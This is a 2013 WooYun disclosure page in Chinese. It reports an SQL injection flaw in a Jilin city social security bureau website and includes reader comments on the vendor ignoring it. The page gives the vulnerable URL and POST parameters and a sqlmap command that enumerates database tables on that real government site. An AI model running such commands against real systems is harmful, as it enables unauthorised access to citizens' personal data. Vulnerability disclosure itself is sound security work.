当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-045782

漏洞标题：吉林市人力资源和社会保障局 Oracle injection

相关厂商：吉林市人力资源和社会保障局

漏洞作者： lxj616

提交时间：2013-12-13 12:59

修复时间：2013-12-18 13:00

公开时间：2013-12-18 13:00

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：10

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-12-13： 细节已通知厂商并且等待厂商处理中
2013-12-18： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

求CNVD给个证书……才知道只有gov.cn的才有可能拿证书
光跑表就跑了好几个屏幕，具体里面是什么不清楚

详细说明：

求CNVD给个证书……
主页位置
http://www.jljl.lss.gov.cn/index.asp

1.png


漏洞入口位置

2.png


（在身份证号那里）

3.png


root@kali:~# sqlmap -u "www.jljl.lss.gov.cn/ybcx.asp" --data="yblb=%D2%BD%C1%C6%B1%A3%CF%D5&ybxm=123&ybsfzh=123" --tables


4.png


5.png

漏洞证明：

求CNVD给个证书……

root@kali:~# sqlmap -u "www.jljl.lss.gov.cn/ybcx.asp" --data="yblb=%D2%BD%C1%C6%B1%A3%CF%D5&ybxm=123&ybsfzh=123" --tables


4.png


5.png

修复方案：

求CNVD给个证书……
过滤下吧～

版权声明：转载请注明来源 lxj616@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2013-12-18 13:00

厂商回复：

最新状态：

暂无

漏洞评价：

评论

  1. 2013-12-19 17:25 | 灬相随灬 ( 普通白帽子 | Rank:369 漏洞数:68 | 大胆天下去得，小心寸步难行。)

    被忽略了。。。

  2. 2013-12-19 18:38 | lxj616 ( 普通白帽子 | Rank:438 漏洞数:90 | <hohoho>)

    @灬相随灬 lxj616抱着灬相随灬嚎啕大哭：我的命怎么这么苦哇……

  3. 2013-12-19 18:42 | 灬相随灬 ( 普通白帽子 | Rank:369 漏洞数:68 | 大胆天下去得，小心寸步难行。)

    @lxj616 哈哈

  4. 2014-11-09 02:33 | Yang ( 普通白帽子 | Rank:247 漏洞数:86 | 作为菜鸟，大米手机摔破了怎么办？)

    一听要给你证书。。赶紧给忽略了